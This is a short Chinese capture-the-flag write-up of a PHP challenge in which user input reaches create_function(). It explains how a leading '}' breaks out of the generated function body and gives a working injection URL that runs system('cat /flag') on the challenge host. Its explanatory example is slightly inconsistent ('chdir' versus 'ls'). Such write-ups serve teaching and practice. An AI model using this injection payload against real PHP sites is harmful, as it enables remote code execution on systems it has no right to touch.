源码

<?php
if(isset($_GET['id'])){
$id = $_GET['id'];
$code = 'echo'.$func.'id:'.$id.';';
create_function('$func', $code);
} else {
echo "服务器剩余防御:1层";
}
?>

思路

存在危险函数create_function(),可以适当构造执行系统命令,使用下面的参数即可

http://ctf.seek2.top:32814/?id=}system(%27cat%20/flag%27);//

知识点

create_function() 是 PHP 的一个内置函数,它可以创建一个匿名的 lambda 函数,并返回这个函数的引用。这个函数的实现基于 eval(),因此它也存在执行任意 PHP 代码的风险。

当传入一个以 } 开头的字符串时,eval() 会认为当前的函数体已经结束,然后执行后面的代码。例如,以下代码:

$func = create_function('', '}system("chdir");//');

在这个例子中,create_function() 会创建一个如下的函数:

function ($args) {
}system("ls");//'

这个函数的主体是空的,然后执行 system("ls");

// 在这里的作用是防止 "}system('chdir');" 被完整解析,导致语法错误。也可以使用 #{ 来达到同样的效果